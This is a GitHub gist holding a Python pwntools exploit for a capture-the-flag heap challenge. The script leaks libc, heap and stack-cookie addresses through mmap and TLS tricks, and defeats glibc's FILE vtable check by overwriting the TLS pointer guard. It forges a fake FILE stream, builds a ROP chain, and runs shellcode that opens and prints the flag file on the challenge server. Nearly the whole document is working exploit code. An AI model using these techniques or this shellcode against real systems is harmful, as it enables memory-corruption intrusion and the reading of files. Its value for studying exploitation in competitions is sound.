Skip to content

Instantly share code, notes, and snippets.

@hkraw
Last active December 19, 2020 08:10
Show Gist options
  • Save hkraw/ee81f2125ec661a6ef7391d96c8254b0 to your computer and use it in GitHub Desktop.
Save hkraw/ee81f2125ec661a6ef7391d96c8254b0 to your computer and use it in GitHub Desktop.
#!/usr/bin/python3
from pwn import *
from past.builtins import xrange
from IO_FILE import *
from time import sleep
import random
import subprocess
# Util
def Read(size,data):
io.sendlineafter('choice = ','3')
io.sendlineafter('sz = ',f'{size}')
io.sendlineafter('data = ',data)
def Write(Size):
io.sendlineafter('choice = ','2')
io.sendlineafter('sz = ',f'{Size}')
def Mmap(MMAP_ARGS):
io.sendlineafter('choice = ','1')
for each in MMAP_ARGS:
io.sendlineafter('= ',f'{each}')
def lmao(val, r_bits, max_bits):
return ((val & (2**max_bits-1)) >> r_bits%max_bits)| (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
def ayyyyylmao(val, r_bits, max_bits):
return (val << r_bits%max_bits) & (2**max_bits-1) | ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Addr
main_arena = 0x1ebb80
_IO_2_1_stderr_ = 0x1ec5c0
_IO_file_jumps = 0x1ed4a0
setcontext = 0x580a0
# Gadget
L_leave_ret = 0x000e67ec
L_pop_rdi = 0x0015d1cb
L_pop_rsi = 0x0015338b
L_pop_rdx = 0x00137c69 # pop rdx ; pop r12 ; ret ;
L_pop_rax = 0x0004a709
L_syscall = 0x000e7259
# Hack
def Hack():
global io
Mmap([0x7ff7ff7ff00,0x3000,7,0x21,0xffffffff,0]) # Get rwx page above .tls
Read(0x130,b'A'*0x130)
Mmap([0,0x3000,3,0x21,0xffffffff,0]) # Get page before rwx page.
Write( (0x26000+0x3000) ) # Arbitrary leak
io.recvn(0x266f0)
# Leaking libc - heap - stack_cookie from .tls
heap_base = u64(io.recvn(0x10)[0x7:0xf]) - 0x10
libc_base = u64(io.recvn(0x10)[0x7:0xf]) - main_arena
stack_cookie = u64(io.recvn(0x67)[0x5f:0x67])
print(hex(libc_base))
print(hex(heap_base))
shellcode = asm(f'''
mov rax, 2
mov rdi, {libc_base-0x29000}
mov rsi, 0
mov rdx, 0x100
syscall
mov rbx, rax
mov rdi, rbx
mov rax, 0
mov rsi, {libc_base-0x13000}
mov rdx, 0x100
syscall
mov rax, 1
mov rdi, 1
syscall
''',arch='amd64')
# Overwrite fs[0x30] with _IO_vtable_check
# Here's the vtable check source. I found out in gdb by tracing this and reading source, "flag" value will contain value stored in fs[0x30].
# Overwrite it with &_IO_vtable_check and bypass the vtable check, oof
'''
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
'''
payload_1 = (b'/home/ctf/flag.txt\0'.ljust(0x13000,b'A') + shellcode.ljust(0x136b0,b'A') +p64(libc_base+0x1ec4a0)+p64(libc_base+0x1f04c0)+ p64(0) + p64(libc_base+0x19e4c0)+p64(libc_base+0x19eac0)+p64(libc_base+0x19f3c0)+p64(0)*2+p64(heap_base + 0x10)+p64(libc_base + main_arena) +p64(0)*7+p64(0)*3 + p64(0)*3 + p64(stack_cookie)+p64(libc_base+0x90ce0) )
Read(len(payload_1),payload_1)
# Mmap page before heap, because i do File exploit, the file opened by program at first, the structured is stored in heap.
Mmap([hex(heap_base-0x9000)[2:],0x2000,3,0x21,0xffffffff,0])
_IO_FILE_stream = IO_FILE_plus(arch=64)
# Fake file stream. We overwrite vtable with anything we want. The check is bypassed now, oof
fake_stream = _IO_FILE_stream.construct(
flags=0xfbad208b,read_ptr=heap_base+0x480,read_end=heap_base+0x480,
read_base=heap_base+0x480,write_base=heap_base+0x480,write_end=heap_base+0x480,
buf_base=heap_base+0x480,buf_end=heap_base+0x480,fileno=0,chain=libc_base+_IO_2_1_stderr_,lock=heap_base,
vtable=heap_base)
# Actually this ROP chain is not needed at all. I just didn't remove it because i had 3-4 different exploits and none of them work remote.
# Remeber that we allocated rwx page. We just call that rwx page lol, oof
payload = (
(p64(libc_base+L_pop_rdi)+p64(libc_base+L_pop_rdi)+p64(libc_base+L_pop_rdi)+\
p64(libc_base+L_pop_rsi)+p64(heap_base)+\
p64(libc_base+L_pop_rdx)+p64(0x1000)+p64(0)+\
p64(libc_base+L_pop_rax)+p64(0)+\
p64(libc_base+L_syscall) ).ljust(0x60,b'\0')+p64(libc_base-0x16000) ).ljust(0x258,b'\0')
print("Sending fake file")
Read(0x10000,(b'A'*0x9000+payload+p64(0x1e1)+b'\0'*0x40+fake_stream ).ljust(0x10000,b'\0'))
# Pwn
if __name__=='__main__':
io = process('./chall')
# io = remote('challs.xmas.htsp.ro',2003) #MMAP 1
# io = remote('challs.xmas.htsp.ro',2009) #MMAP 2
Hack()
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment